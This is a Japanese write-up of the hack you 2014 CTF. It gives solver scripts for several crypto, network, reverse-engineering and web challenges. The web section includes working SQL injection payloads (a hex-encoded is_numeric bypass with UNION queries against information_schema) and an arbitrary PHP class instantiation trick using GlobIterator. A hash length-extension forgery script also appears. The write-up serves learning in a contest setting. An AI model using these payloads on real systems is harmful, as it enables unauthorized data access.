hack you 2014 Write-up

hack you 2014に参加した。12/20問、3000点、15位。以下、解けた問題の解法。

Crypto 100 Easy one

単純な暗号化のプログラムと、平文暗号分のペアと、暗号分が与えられるので、鍵を逆算して、

P = open("msg001", "rb").read()
C = open("msg001.enc", "rb").read()
K = ""
for i in range(len(P)):
    K += chr(((ord(C[i])-ord(P[i])-i*i)^(ord(P[i-1]) if i>0 else 0))%256)
print K

復号するだけ。

K = map(ord, "VeryLongKeyYouWillNeverGuess")
C = map(ord, open("msg002.enc", "rb").read())
P = []
t = 0
for i in range(len(C)):
    P += [C[i]-(K[i%len(K)]^t)-i*i&0xff]
    t = P[-1]
open("msg002", "wb").write("".join(map(chr, P)))

答え

CTF{6d5eba48508efb13dc87220879306619}

Crypto 200 Hashme

名前を入力すると、login=name&role=anonymousに署名を付けて、KEYとxorした証明書が渡される。その証明を入力するとanonymousとしてログインできる。administratorになれという問題。
署名以外の部分のxor前の値は計算できるので、実際に帰ってきた値とのxorを取れば、KEYが求められる。

KEY = '28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5'.decode('hex')

署名はLength extension attackする。ハッシュ関数Hによっては、y=H(secret+x)について、xとyが既知であるとき、secretの逆算はできなくても、H(secret+x+z)が求められる。要は、ハッシュ関数が入力を先頭から処理していくので、yからsecret+xの処理が終わった状態を求め、その状態からzの計算をすれば良い。
この問題では、SALT+"login=a&role=anonymous"のハッシュ値が分かるので、それを使ってSALT+"login=a&role=anonymous&role=administrator"のハッシュ値を求める。

#!/usr/bin/python
from math import sin

KEY = '28c1150dac6704583d6c1125a72d3c87241e7f5497e9b80c78f4ce2b08dcab2b0df20be0abde0b17512a935bc765607cf5e5'.decode('hex')

def xor(a, b):
    return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))

#def hashme(s):
def hashme(s, A, B, C, D, m):
    #my secure hash function
    def F(X,Y,Z):
        return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
    def G(X,Y,Z):
        return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
    def H(X,Y,Z):
        return (X ^ Y ^ Y) & 0xFFFFFFFF
    def I(X,Y,Z):
        return (Y ^ (~Z | X)) & 0xFFFFFFFF
    def ROL(X,Y):
        return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

    #A = 0x67452301
    #B = 0xEFCDAB89
    #C = 0x98BADCFE
    #D = 0x10325476
    X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

    for i,ch in enumerate(s):
        i += m
        k, l = ord(ch), i & 0x1f
        A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
        B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
        C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
        D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

    return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

"""
Your login: a
[+] OK
Your auth certificate:
RK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8
"""

for keylen in range(33):
    T = "RK5yZMJaZX5PA31AmkxS6EpnEjvimts6QZetHTjtkk80yzLYnr1pJ2gToW/wB1UaxNAR8HM8"
    T = xor(T.decode("base64"), KEY)
    m = len(T)-8*4
    B, A, D, C = [int(T[m+i*8:m+i*8+8],16) for i in range(4)]
    admin = "&role=administrator"
    print keylen, xor(T[:m]+admin+hashme(admin, A, B, C, D, m+keylen), KEY).encode("base64")

SALTの長さは色々試してみるしかない。正解は、20文字だった。

>nc hackyou2014tasks.ctf.su 7777
======================
[0] Register
[1] Login
======================
1
Provide your certificate:
RK5yZMJaZX5PA31AmkxS6EpnEjvimp5+F5irFmm4xkJjm3iU2b9/eCMdpjjwVlZLwYFLpXQ/zVI2a1kJcEGeHQ/hHCsabPHZig==
[+] Welcome, a!
CTF{40712b12d4be002e20f51424309a068c}

答え

CTF{40712b12d4be002e20f51424309a068c}

Crypto 300 Matrix

encryptor.pyとflag.wmv.outが与えられてflag.wmvを復号する問題。encryptor.pyは、入力を16バイトごとに4x4の行列Xにして、鍵行列Kとの積Y=XKを文字列に直して出力するプログラム。wmvの先頭16バイトは

30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C

らしいので、最初の16バイトのXとYが分かる。K=X-1Yと求められるので、あとはK-1を掛ければ復号できる。

# coding: utf-8
from struct import pack, unpack

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Multiply(A,B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

# 逆行列
def invmat(M):
    n = len(M)
    T = [[0.]*(2*n) for i in range(n)]
    for i in range(n):
        for j in range(n):
            T[i][j] = float(M[i][j])
        T[i][i+n] = 1.
    for i in range(n):
        p = T[i][i]
        if p==0.:
            raise "Error"
        for j in range(2*n):
            T[i][j] /= p
        for j in range(n):
            if j!=i:
                p = T[j][i]
                for k in range(2*n):
                    T[j][k] -= T[i][k]*p
    return [T[i][n:] for i in range(n)]

f = open("flag.wmv.out", "rb")

L = unpack('!I', f.read(4))[0]
print "Len:", L

C = [unpack('!H', f.read(2))[0] for i in range((L+15)/16*16)]

header = "3026B2758E66CF11A6D900AA0062CE6C".decode("hex")
key = Multiply(invmat(Str2matrix(header)), [C[i:i+4] for i in range(0,16,4)])
print "Key:", key

invkey = invmat(key)
print "InvKey:", invkey

P = ""
for i in range(0,L,16):
    T = Multiply([C[j:j+4] for j in range(i,i+16,4)], invkey)
    P += "".join("".join(map(lambda x: chr(int(x+1e-10)), T[j])) for j in range(4))
open("flag.wmv", "wb").write(P[:L])

答え

CTF{b699a72e2692d16f65ec9626055aa740}

Crypto 400 CRYPTONET

Pythonスクリプトとpcapファイルが問題。
Pythonスクリプトは、整数eとnを受信し、message.txtを整数に直したものをPとして、C=Pe mod nを送信している。
pcapファイルはこの通信をキャプチャしたもので、送信が19回行われている。nは毎回違うけど、常にe=17。
1回の通信だけから復号しようとすると離散対数問題を解くことになるので無理だが、Pとeが固定の通信が複数回だと話は別。中国の剰余定理から、X mod n0=C0, X mod n1=C1, …, X mod n18=C18を満たすようなXが、C0×C1×…×C18を法として一意に存在し、求められる。C0×C1×…×C18はPeよりも大きいので、X=Peである。あとは、二分探索でPを求めれば良い。

# coding: utf-8
from struct import *
import sys
sys.setrecursionlimit(1000000)

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m

# 中国の剰余定理
def chinese(A, M):
    n = len(A)
    r = 0
    P = reduce(lambda x,y: x*y, M, 1)
    for i in range(n):
        x,y,d = exgcd(M[i], P/M[i])
        r += y*(P/M[i])*A[i]
    return r%P

N = 19
e,n,c = [],[],[]
for i in range(N):
    f = open("stream%s"%i, "rb")
    def read():
        l = unpack("!H", f.read(2))[0]
        return int(f.read(l).decode("zlib"))
    e += [read()]
    n += [read()]
    C += [read()]

Pe = chinese(C, n)
e = e[0]

b = 2**1000
ans = 0
while b:
    if (ans+b)**e <= Pe:
        ans += b
    b /= 2
open("decrypt", "wb").write(hex(ans)[2:-1].decode("hex"))

答え

CTF{336b2196a2932c399c0340bc41cd362d}

Network 100 PCAP

Digest認証のキャプチャが問題ファイル。ブルートフォースでパスワードを求める問題だった。この辞書を使ったら解けた。

import hashlib
def md5(s): return hashlib.md5(s).hexdigest()
for p in open("passwords.txt"):
    p = p[:-1]
    A1 = "admin:Private Area:"+p
    A2 = "GET:/auth.php"
    res = md5(md5(A1)+":1389094144:00000001:347278e387a2f030:auth:"+md5(A2))
    if res=="f86930f9e0466aeced34036bc2f7a346":
        print "Found!", p

パスワードは「cowboy123」。
答え

CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

PPC 400 Broken Marquee

LEDがチカチカしている40MBのアニメーションGIFが問題。ほとんどのLEDが壊れているらしい。誰も解けなかったので、途中でLEDの点滅の様子がテキストファイルで配られた。
壊れていないLEDは点滅が周期的。周期は45, 116, 140, 195, 223, 330。文字列が流れていくティッカーなので、各行に1個でも壊れていないLEDがあれば、文字列を復元できる。どういう壊れ方をしたのか分からないけど、複数の文字列が混ざっているので、各周期ごとに復元すれば良い。
意味がある絵なのは、45, 223, 330だけっぽい。

45
          ******                             
                ***                          
          ******   ***                       
       ***   ******   ***                    
          *********                          
             ***                             
                   ******                    
             *********                       

223
       *                  *                                     ****          *     *                                                *               **                                          **                       *    
       *                  *                                     *  **   ***   *    **                                   *****        *  **          ****                                          **                      *    
       *                  *          *             *   *           *   ** *   *   **  *                                 *   *       **  *          *   *    *     *   *   **         ***** ****    ** ****     *   **    **    
      ****   **      **  ** **       *   *  ***** **  **          *   **  *   *  **  *                                 *            * ***  ****    * **     *    **  *** ***         *     *  *  **** *  **   **  ***    *     
      ** *  *****   **   ****        *****  *   * *  ***         *    *   *  **  ******                                *           ******  *  ** *****     ***   *   * *** *        *     **  * **  * *   *  ********   **     
      *  *  *  * *  *    ***           **   *  ** * ***         *     *   *  *      **                                 *  *        *   *   *   * ** ****   *  ** *  **  *  *       **     ** ** ****  **  *  *  *  *    *      
     **  *  **** *  *** ** **         **     ***  *** *        **     ***** **      *                                  ****        *   *    ****  **   *  **  ** *  *      *       *       ***   **    **** *      *           
     *           *      **        *****                        *****        *       *                                                              *****  *****                                                       **       

330
                                                   **                                                                                                                                                                  **                                                                                                                 
    **** *     **   **             **  *********  *   *     **   **   **    *  *    ****  **     *       **    *    *         *   **       ****        *       ****  **    *            *     **    *  *          **     *            **             *                                                                                    
    *    *    *  * *  *  **       *  *   *  *      *  *    *  * *  * *  *  **  *       * *       *      *  *  **   * *       * * *            *       **       *    *  *  * *           *    *  *  **  *         *  *   *            *  *            *          *                                                                         
    ***  *    *  * *     **       *      *  ***  **   ***     *    *   *    *  ***    *  * *   ***  ***    * * *   *    **   * * * *   ***   *   **    *   *** ***     *  * *  **   *** ***    *    *  ***   ***  **     **          *    * *   *** ***  ****   *                       * *  **   ***                                     
    *    *    **** * **           *      *  *      *  *  *   *    *     *   *  *  *   *  ** * *  * *  *   *  **** ***  * **  * * ** * *  *   *  * **   *  *  *    *   *   * * * ** *  * *  *    *   *  *  * *    *  *   *            * ** ** * *  *  *     *    *       **** ****       * * *  * **                                       
    *    *    *  * *  *  **       *  *   *  *     *   *  *  *    *   *  *   *  *  *  *   *  * * ** * **  *     *   *   **    * * *  * * **  *   **     *  * ** *  *  *    * * **   * ** *  * *  *   *  *  * *    *  *    *           *  * *    * **  * *  *                             * * *  *   **                                     
    *    **** *  *  ***  **        **    *  *      ** ***  **** ****  **   *** ***   *    **   * *  * * ****   *   *    ***   *   **   * *  *    ***  ***  * *  **  ****   *   ***  * * ***   **   *** ***   ***  **   **             *** *     * *   *  ****   *                        *   **  ***                                      

答え

CTF{b2231b76da24fe06a7e1a520eab31bc8}

Reverse 100 NotEasyTask

.NETの実行可能ファイル。
127.0.0.1:31337に接続して何かしているようなので、待ち受けてみるとフラグが送られてくる。

>nc -l -p 31337
(ここでreverse100.exeを実行)
CTF{7eb67b0bb4427e0b43b40b6042670b55}

答え

CTF{7eb67b0bb4427e0b43b40b6042670b55}

Reverse 200 Newbie calculations

This file will calculate a flag for you, but you have to wait

らしい。ImageBase+0x1000の関数を読んでみると、

int *f(int *p, int n)
{
    *p += n;
    return p;
}

というだけの関数なので、

MOV     ECX, DWORD PTR [ESP+8]
MOV     EAX, DWORD PTR [ESP+4]
MOV     EDX, DWORD PTR [EAX]
ADD     EDX, ECX
MOV     DWORD PTR [EAX], EDX
RETN

に書き換えて、数時間待ったら答えが表示された。もっと高速化はできそう。
答え

CTF{daf8f4d816261a41a115052a1bc21ade}

Reverse 300 Enchanter

64bit ELF、ファイルを*.enchantedに変換するプログラムと、item.enchantedが問題。*.enchantedの先頭に頻度表があるので、ハフマン符号か算術符号と予想。ハフマン符号なら、元の1バイトが一意に数ビットに変換されるので、item.enchantedと出現頻度が同じファイルを作って、

from struct import *
f = open("item.enchanted", "rb")
d = ""
for i in range(256):
    n = unpack(">I", "\x00"+f.read(3))[0]
    d += chr(i)*n
open("aaa", "wb").write(d)

enchanterでエンチャントする。

$ ./enchanter aaa
Now your item is enchanted.
He received new abilities, but lost the original.

各バイトがどういうビットに変換されたかを調べる。

from struct import *
f = open("aaa.enchanted", "rb")
f.seek(0x300)
d = "".join(bin(0x100+ord(x))[3:] for x in f.read(1000000))
# d = "1101011010110101..."

d += "x"*1000
f.seek(0)
p = 0
for i in range(256):
    n = unpack(">I", "\x00"+f.read(3))[0]
    for l in range(32,0,-1):
        if d[p:p+l*n]==d[p:p+l]*n:
            break
    print d[p:p+l]
    p += n*l
11010
0000011
01100011
  :

あとは、item.enchantedを復号すれば良い。

from struct import *
T = ["11010", "0000011", "01100011", "10000110", "10111011", "01001001", "10010101", "111100010", "00011001", "00101100", "01000001", "00001000", "00011010", "11110010", "00000000", "111110010", "110001011", "00011011", "11011111", "111110011", "01010101", "100001110", "00101101", "01100100", "11011010", "110110110", "01011101", "0010010", "111100011", "01010110", "00011100", "111100110", "000110001", "111110100", "00001001", "10011110", "0000101", "10010110", "110001010", "01011110", "00001100", "01010111", "00110110", "01000010", "110110111", "00011101", "01001010", "111100111", "11001111", "10111100", "111101011", "10001000", "01111010", "10110000", "0000001", "10011111", "00101110", "01001011", "10111101", "10110001", "0001111", "01110100", "111101000", "01100101", "10100000", "00001101", "00100000", "11100110", "111101001", "00010011", "10001110", "111011010", "10111110", "11011100", "01100110", "10001111", "111101010", "01000011", "01110101", "11101110", "11111111", "00010110", "10010111", "01100111", "0110000", "11101010", "11100100", "01111011", "01001100", "10100001", "01001101", "10101010", "10011000", "00110111", "11000110", "111101110", "01011000", "111000000", "01101000", "10010000", "00000001", "111110101", "01001110", "01101001", "111101111", "00101111", "1000010", "00110000", "111001011", "1010001", "01101010", "10100100", "101100100", "00001110", "10011001", "10001001", "00100110", "00100111", "11110000", "10001010", "10111111", "0001000", "10010001", "10101011", "01111100", "01101011", "00100001", "00001111", "10111010", "010110010", "111000001", "010110011", "01001111", "00010111", "00010010", "111000010", "00111000", "10001011", "01010000", "00101000", "11101011", "10110011", "01011010", "01011111", "00111001", "10110100", "10010010", "10011010", "00111010", "01000100", "11000000", "01010001", "10010011", "00100010", "01000101", "00111011", "01101100", "11011000", "11000001", "111000011", "10101100", "111011011", "10011011", "100001111", "11000010", "01111101", "11000111", "11110110", "11111011", "10110101", "1011100", "10110110", "11100010", "11011101", "10100101", "00111100", "00000100", "10100110", "11011110", "11100111", "01110110", "1100101", "00110001", "10101101", "01101101", "01111110", "00110010", "11111100", "01000110", "01101110", "01010010", "00000101", "11011001", "000110000", "111110000", "01010011", "00101001", "01111111", "10100111", "11101100", "00110011", "01100010", "111011110", "10011100", "01110111", "10000000", "11001000", "01101111", "111111011", "00101010", "01111000", "10110111", "111111100", "1100110", "11100011", "01110000", "101100101", "111011111", "1110100", "11000011", "10001100", "10101110", "11001001", "01111001", "00111101", "10101000", "10000001", "01000111", "10010100", "00111110", "10011101", "00111111", "111001010", "01011011", "01011100", "11000100", "01110001", "0001010", "01001000", "10001101", "00110100", "01110010", "10000010", "01110011", "111111010", "10000011", "11001110", "111110001", "01010100", "10101111", "10101001", "00101011", "01000000", "00110101", "00100011", "111111101"]
f = open("item.enchanted", "rb")
n = sum(unpack(">I", "\x00"+f.read(3))[0] for i in range(0x100))
d = "".join(bin(0x100+ord(x))[3:] for x in f.read(1000000))
p = 0
dec = ""
while len(dec)<n:
    for i in range(256):
        if d[p:p+len(T[i])]==T[i]:
            break
    dec += chr(i)
    p += len(T[i])
open("item", "wb").write(dec)

itemは画像。

これを打ち込んで実行するとフラグが手に入る。
答え

CTF{a369d17d5c9d65ca1af379f222297fbb}

Reverse 400 Classic

チェッカーを通るシリアルナンバーを作る問題。内部でマシン語っぽいものを動かしてシリアル番号をチェックしている。デコーダー。

from struct import pack, unpack

f = open("reverse400", "rb")
f.seek(0xb20)
C = [unpack("<I", f.read(4))[0] for i in range(0x201fc/4)]

def decode(C):
    p = 0
    while p<len(C):
        l = 2
        t = C[p]>>4
        x = None
        if t==1: x = "0x%x"%C[p+2]; l += 1
        if t==2: x = "M[0x%x]"%C[p+2]; l += 1
        if t==3: x = "*M[0x%x]"%C[p+2]; l += 1
        t = C[p]&0xf
        y = None
        if t==1: y = "0x%x"%C[p+3]; l += 1
        if t==2: y = "M[0x%x]"%C[p+3]; l += 1
        if t==3: y = "*M[0x%x]"%C[p+3]; l += 1

        print "%04x:"%p,
        op = C[p+1]
        if False: pass
        elif op==0x01: print "%s = %s" % (x,y)
        elif op==0x02: print "%s += %s" % (x,y)
        elif op==0x03: print "ret %s" % x
        elif op==0x04: print "%s++" % x
        elif op==0x05: print "%s--" % x
        elif op==0x06: print "f = %s==%s" % (x,y)
        elif op==0x07: print "if(f==0) jmp %s" % (x)
        elif op==0x08: print "if(f==1) jmp %s" % (x)
        elif op==0x09: print "%s = *%s" % (x,y)
        elif op==0x0a: print "*%s = %s" % (x,y)
        elif op==0x0b: print "%s ^= %s" % (x,y)
        elif op==0x0c: print "%s -= %s" % (x,y)
        elif op==0x0d: print "%s = malloc(%s*4)" % (x,y)
        elif op==0x0e: print "%s *= %s" % (x,y)
        elif op==0x10: print "%s /= %s" % (x,y)
        elif op==0x11: print "*%s = (byte)%s" % (x,y)
        elif op==0x12: print "%s >>= %s" % (x,y)
        elif op==0x13: print "%s <<= %s" % (x,y)
        elif op==0x14: print "%s &= %s" % (x,y)
        elif op==0x16: print "jmp %s" % x
        p += l

decode(C)

デコードすると、

0000: M[0x1] = このプログラム自身の開始アドレス
0004: *M[0x1] = 0x21
0008: M[0x1] += 0x4
000c: *M[0x1] = 0x1
0010: M[0x1] += 0x4
0014: *M[0x1] = 0x1
0018: M[0x1] += 0x4
001c: *M[0x1] = 0x0

という自己書き換えコードが出てくる。書き換え後をデコードすると、

0000: M[0x1] = このプログラム自身の開始アドレス
0004: *M[0x1] = 0x21
0008: M[0x1] += 0x4
000c: *M[0x1] = 0x1
0010: M[0x1] += 0x4
0014: *M[0x1] = 0x1
0018: M[0x1] += 0x4
001c: *M[0x1] = 0x0

もう一度自己書き換えコードが出てくる。書き換え後をデコードすると、

0000: M[0x1] = シリアルナンバー
0004: M[0x9] = 0x0
0008: M[0x2] = *M[0x1]
000c: M[0x9]++
000f: M[0x1]++
0012: f = M[0x2]==0x0
0016: if(f==0) jmp 0x8
0019: M[0x1] -= M[0x9]
001d: M[0x9]--
0020: M[0x3] = M[0x9]
0024: M[0x3] *= 0x2
0028: M[0x3]++
002b: M[0x3] /= 0x4
002f: M[0x2] = malloc(M[0x3]*4)
0033: M[0x3] = malloc(0x5*4)
0037: *M[0x3] = 0x4021263f
003b: M[0x3] += 0x4
003f: *M[0x3] = 0x5f7e232a
0043: M[0x3] += 0x4
0047: *M[0x3] = 0x252b243c
004b: M[0x3] += 0x4
004f: *M[0x3] = 0x3e5e2928
0053: M[0x3] += 0x4
0057: *M[0x3] = 0x0
005b: M[0x3] -= 0x10
005f: M[0x7] ^= M[0x7]
0063: M[0x6] = M[0x1]
0067: M[0x6] += M[0x7]
006b: M[0x5] = *M[0x6]
006f: M[0x6] = M[0x5]
0073: M[0x6] >>= 0x4
0077: M[0x4] = M[0x3]
007b: M[0x4] += M[0x6]
007f: M[0x6] = *M[0x4]
0083: M[0x8] = M[0x7]
0087: M[0x8] <<= 0x1
008b: M[0x8]++
008e: M[0x8] += M[0x2]
0092: *M[0x8] = (byte)M[0x6]
0096: M[0x6] = M[0x5]
009a: M[0x6] &= 0xf
009e: M[0x4] = M[0x3]
00a2: M[0x4] += M[0x6]
00a6: M[0x6] = *M[0x4]
00aa: M[0x8]--
00ad: *M[0x8] = (byte)M[0x6]
00b1: M[0x7]++
00b4: f = M[0x7]==M[0x9]
00b8: if(f==0) jmp 0x63
00bb: M[0x6] = M[0x9]
00bf: M[0x6] <<= 0x1
00c3: M[0x6] += M[0x2]
00c7: *M[0x6] = (byte)0x0
00cb: M[0x1] = malloc(0x13*4)
00cf: *M[0x1] = 0x301d3977
00d3: M[0x1] += 0x4
00d7: *M[0x1] = 0x4c123949
00db: M[0x1] += 0x4
00df: *M[0x1] = 0x53136d77
00e3: M[0x1] += 0x4
00e7: *M[0x1] = 0x6d1d6d49
00eb: M[0x1] += 0x4
00ef: *M[0x1] = 0x53135313
00f3: M[0x1] += 0x4
00f7: *M[0x1] = 0x6d146d1d
00fb: M[0x1] += 0x4
00ff: *M[0x1] = 0x6d14530b
0103: M[0x1] += 0x4
0107: *M[0x1] = 0x53086d16
010b: M[0x1] += 0x4
010f: *M[0x1] = 0x5316530b
0113: M[0x1] += 0x4
0117: *M[0x1] = 0x53496d77
011b: M[0x1] += 0x4
011f: *M[0x1] = 0x6d775349
0123: M[0x1] += 0x4
0127: *M[0x1] = 0x6d77531d
012b: M[0x1] += 0x4
012f: *M[0x1] = 0x531d6d14
0133: M[0x1] += 0x4
0137: *M[0x1] = 0x53775308
013b: M[0x1] += 0x4
013f: *M[0x1] = 0x6d495313
0143: M[0x1] += 0x4
0147: *M[0x1] = 0x53135311
014b: M[0x1] += 0x4
014f: *M[0x1] = 0x531d6d77
0153: M[0x1] += 0x4
0157: *M[0x1] = 0x6d776d49
015b: M[0x1] += 0x4
015f: *M[0x1] = 0x13374c1e
0163: M[0x1] -= 0x48
0167: M[0x6] ^= M[0x6]
016b: *M[0x1] ^= 0x13371337
016f: M[0x1] += 0x4
0173: M[0x6]++
0176: f = M[0x6]==0x13
017a: if(f==0) jmp 0x16b
017d: M[0x1] -= 0x4c
0181: M[0x9] ^= M[0x9]
0185: M[0x3] = *M[0x1]
0189: M[0x9]++
018c: M[0x1]++
018f: f = M[0x3]==0x0
0193: if(f==0) jmp 0x185
0196: M[0x9]--
0199: M[0x8] ^= M[0x8]
019d: M[0x3] = *M[0x2]
01a1: M[0x8]++
01a4: M[0x2]++
01a7: f = M[0x3]==0x0
01ab: if(f==0) jmp 0x19d
01ae: M[0x8]--
01b1: M[0x3] ^= M[0x3]
01b5: f = M[0x8]==M[0x9]
01b9: if(f==0) jmp 0x1f3
01bc: if(f==1) jmp 0x1bf
01bf: M[0x1] -= M[0x9]
01c3: M[0x1]--
01c6: M[0x2] -= M[0x8]
01ca: M[0x2]--
01cd: M[0x5] = 0x0
01d1: M[0x3] = *M[0x1]
01d5: M[0x1]++
01d8: M[0x4] = *M[0x2]
01dc: M[0x2]++
01df: f = M[0x3]==M[0x4]
01e3: if(f==0) jmp 0x1f3
01e6: M[0x5]++
01e9: f = M[0x5]==M[0x9]
01ed: if(f==0) jmp 0x1d1
01f0: if(f==1) jmp 0x1fa
01f3: M[0x7] = 0x0
01f7: ret M[0x7]
01fa: M[0x7] = 0x1
01fe: ret M[0x7]

シリアルナンバーの各バイトを上位4ビットと下位4ビットに分けて、記号に変換し、その記号が0x301d3977^0x13371337, 0x4c123949^0x13371337, …と一致するかを調べている。下記のスクリプトでシリアルナンバーが求められる。

T = r"?&!@*#~_<$+%()^>"
A = [0x301d3977, 0x4c123949, 0x53136d77, 0x6d1d6d49, 0x53135313, 0x6d146d1d, 0x6d14530b, 0x53086d16, 0x5316530b, 0x53496d77, 0x6d775349, 0x6d77531d, 0x531d6d14, 0x53775308, 0x6d495313, 0x53135311, 0x531d6d77, 0x6d776d49, 0x13374c1e]
B = ""
for a in A:
    t = ("%08x"%(a^0x13371337)).decode("hex")
    B += t[3]+t[2]+t[1]+t[0]
x = ""
for i in range(0,len(B)-2,2):
    x += chr(T.index(B[i])+T.index(B[i+1])*16)
print x
$ ./reverse400
Welcome!
Enter your serial number: CTF{c9fd99de8eb082c66c4ce4039f19c4fc}
Not bad!
You did it!
Your flag is a serial number!

答え

CTF{c9fd99de8eb082c66c4ce4039f19c4fc}

Web 100 Voting

http://hackyou2014tasks.ctf.su:10080/にアクセスすると、投票システムが表示される。
ソースコード

<?php
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];

if (isset($_POST['submit'])) {
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('Hacking attempt!');
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1)
        $vote = 1;
    $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    }
    echo '</table>';
    echo '<br><a href="index.php">Back</a><br>';
    exit;
}
?>
<html>
<head>
    <title>Picture Gallery</title>
</head>
<body>
<p>Welcome, <?php echo $login; ?></p>
<p>Help us to choose the best logo!</p>
<form action="index.php" method="POST">
<table border="1" cellspacing="5">
<tr>
<?php
$q = mysql_query('SELECT * FROM picture');
while ($r = mysql_fetch_array($q)) {
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
}
?>
</tr>
</table>
<p>Your vote:
<select name="vote">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
</select></p>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
<!-- TODO: remove index.phps -->

0x6861636b796f75はPHPのis_numeric関数では真となるが、SQLでは文字列hackyouとなる。

        $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));

SQLインジェクションができる。

99 union select group_concat(table_name) from information_schema.tables where table_name like 'f%'

をhexエンコードして、$_POST['id']に送ると、

FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag

とFから始まるテーブル名が表示される(全てのテーブルを表示しようとしたら長すぎて切り捨てられた)。

99 union select group_concat(column_name) from information_schema.columns where table_name='Flag'

で、列名(flag)が分かる。あとは、下記のSQLでフラグが取得できる。

99 union select flag from Flag

答え

CTF{820178c33c03aaa7cfe644c691679cf8}

Web 400 PHPwning

画像アップローダー。index.phpソースコード

<?php
include 'config.php';
include 'classes.php';
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;
?>

任意のクラスを任意の文字列を引数として作成できて、文字列に変換した結果が取得できる。GlobIteratorを使った。マッチする最初の1個のファイルが取得できる。
http://hackyou2014tasks.ctf.su:40080/index.php?action=GlobIterator¶m=/*にアクセスすると、ルートに

CTF{42a38432d46b9054004a7a87fd3140c7}

というファイルがあることが分かる。今回はたまたま辞書順最初のファイルだったけど、そうでなかったなら、

http://hackyou2014tasks.ctf.su:40080/index.php?action=GlobIterator&param=/[^C]*

のように探せる。ファイルを読み込もうと思っても、SplFileObjectでは1行しか読み込めなかったけど、php://filterを使う技があるらしい。覚えておこう。
答え。

CTF{42a38432d46b9054004a7a87fd3140c7}